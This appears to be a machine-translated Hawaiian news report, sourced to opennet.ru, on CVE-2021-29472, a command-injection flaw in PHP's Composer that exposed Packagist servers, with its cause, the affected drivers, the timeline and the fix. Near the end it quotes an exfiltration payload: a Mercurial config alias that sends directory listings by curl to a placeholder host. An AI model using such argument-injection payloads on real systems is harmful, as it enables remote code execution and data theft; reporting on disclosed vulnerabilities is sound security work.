ʻO ka vulnerability i loko o ka luna Composer package e hiki ai i ka waihona Packagist PHP ke hoʻololi

Ua ʻike ʻia kahi nāwaliwali koʻikoʻi (CVE-2021-29472) i loko o ka luna hilinaʻi Composer e hiki ai ke hoʻokō ʻia nā kauoha arbitrary ma ka ʻōnaehana i ka wā e hoʻoponopono ai i kahi pūʻolo me kahi waiwai URL i hoʻonohonoho pono ʻia e kuhikuhi ana i ka helu no ka hoʻoiho ʻana i ke code kumu. Loaʻa ka pilikia ma nā ʻāpana GitDriver, SvnDriver, a me HgDriver i hoʻohana ʻia i ka hoʻohana ʻana i nā ʻōnaehana mana kumu ʻo Git, Subversion, a me Mercurial. Ua hoʻoholo ʻia ka nāwaliwali ma nā hoʻokuʻu ʻana o Composer 1.10.22 a me 2.0.13.

Hoʻomaopopo ʻia ʻo ia ka mea i hoʻopili nui ʻia i ka waihona waihona paʻamau o Composer, ʻo Packagist, nona nā pūʻolo 306 no nā mea hoʻomohala PHP a lawelawe ma mua o 1.4 biliona hoʻoiho i kēlā me kēia mahina. Ua hōʻike ka hoʻokolohua inā loaʻa ka ʻike o ka pilikia, hiki i nā mea hoʻouka ke loaʻa i ka mana o ka ʻōnaehana Packagist a hoʻopaʻa i nā hōʻoia o nā mea mālama a hoʻihoʻi hou i ka hoʻoiho ʻana i nā pūʻulu i kahi kikowaena ʻaoʻao ʻekolu, e hoʻonohonoho ana i ka hāʻawi ʻana i nā ʻano like ʻole me nā loli maikaʻi ʻole e pani i kahi backdoor. i ke kaʻina hoʻokomo hilinaʻi.

ʻO ka pōʻino no nā mea hoʻohana hope e kaupalena ʻia i ka ʻoiaʻiʻo e hoʻoholo maʻamau ka ʻike o ka composer.json e ka mea hoʻohana, a hoʻouna ʻia nā loulou kumu i ka wā e komo ai i nā waihona waihona ʻaoʻao ʻekolu, i hilinaʻi maʻamau. Ua hāʻule ka pā nui ma ka waihona Packagist.org a me ka lawelawe Private Packagist, i kapa ʻia ʻo Composer me ka hoʻoili ʻana o ka ʻikepili i loaʻa mai nā mea hoʻohana. Hiki i nā mea hoʻouka ke hoʻokō i kā lākou code ma nā kikowaena Packagist ma ke kau ʻana i kahi pūʻolo i hoʻolālā ʻia.

Ua hoʻoponopono ka hui Packagist i ka nāwaliwali i loko o 12 mau hola mai ka hōʻike ʻia ʻana o ka nāwaliwali. Ua hoʻolaha pilikino nā mea noiʻi i nā mea hoʻomohala Packagist ma ʻApelila 22, a ua hoʻoponopono ʻia ka pilikia i ka lā hoʻokahi. Ua paʻi ʻia kahi hoʻolaha lehulehu i ka Composer e pili ana i ka nāwaliwali ma ʻApelila 27, me nā kikoʻī i hōʻike ʻia ma ʻApelila 28. ʻAʻole i hōʻike ʻia kahi loiloi o nā lāʻau ma nā kikowaena Packagist i kekahi hana kānalua e pili ana i ka nāwaliwali.

Hoʻokumu ʻia ka pilikia ma muli o kahi pahu i ka helu hōʻoia URL ma ka faila kumu composer.json a me nā loulou download kumu. Aia ka hewa ma ke code mai Nowemapa 2011. Hoʻohana ʻo Packagist i nā papa kūikawā no ka hoʻonohonoho ʻana i ka hoʻouka ʻana i nā code me ka ʻole o ka nakinaki ʻia i kahi ʻōnaehana mana kumu kikoʻī, i hana ʻia ma ke kāhea ʻana iā "fromShellCommandline" a me ke kau ʻana i nā manaʻo hoʻopaʻapaʻa laina kauoha. No ka laʻana, no ka git, ua kapa ʻia ke kauoha "git ls-remote -heads $URL", kahi e hoʻohana ʻia ai ka URL me ka hoʻohana ʻana i ke ʻano "ProcessExecutor::escape ($ url)", e pakele ai i nā hana ʻino e like me "$(. ..)" a i ʻole "` ...`".

ʻO ke kumu o ka pilikia ʻo ka ProcessExecutor::escape method ʻaʻole i pakele i ke kaʻina "-", ka mea i ʻae ʻia i nā ʻāpana kelepona hou e kuhikuhi ʻia ma ka URL. ʻAʻole nalo ia ʻano pakele i nā mea hoʻokele GitDriver.php, SvnDriver.php a me HgDriver.php. Ua hoʻopilikia ʻia ka hoʻouka kaua GitDriver.php e ka ʻoiaʻiʻo ʻaʻole i kākoʻo ke kauoha "git ls-remote" i ka wehewehe ʻana i nā manaʻo hou aʻe ma hope o ke ala. Hiki ke hoʻouka ʻia ma HgDriver.php ma ke kau ʻana i ka ʻāpana "--config" i ka pono "hq", e hiki ai iā ʻoe ke hoʻonohonoho i ka hoʻokō ʻana i kekahi kauoha ma ka hoʻohana ʻana i ka hoʻonohonoho "alias.identify". No ka laʻana, e hoʻoiho a hoʻokō i ke code ma ka holo ʻana i ka pono curl, hiki iā ʻoe ke kuhikuhi: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Ma ka hoʻouna ʻana i kahi pūʻolo hoʻāʻo me kahi URL like me Packagist, ua hōʻoia nā mea noiʻi ma hope o ka hoʻouna ʻana, ua loaʻa i kā lākou kikowaena kahi noi HTTP mai kekahi o nā kikowaena Packagist ma AWS e loaʻa ana kahi papa inoa o nā faila i ka papa kuhikuhi o kēia manawa.

Source: opennet.ru

Pākuʻi i ka manaʻo hoʻopuka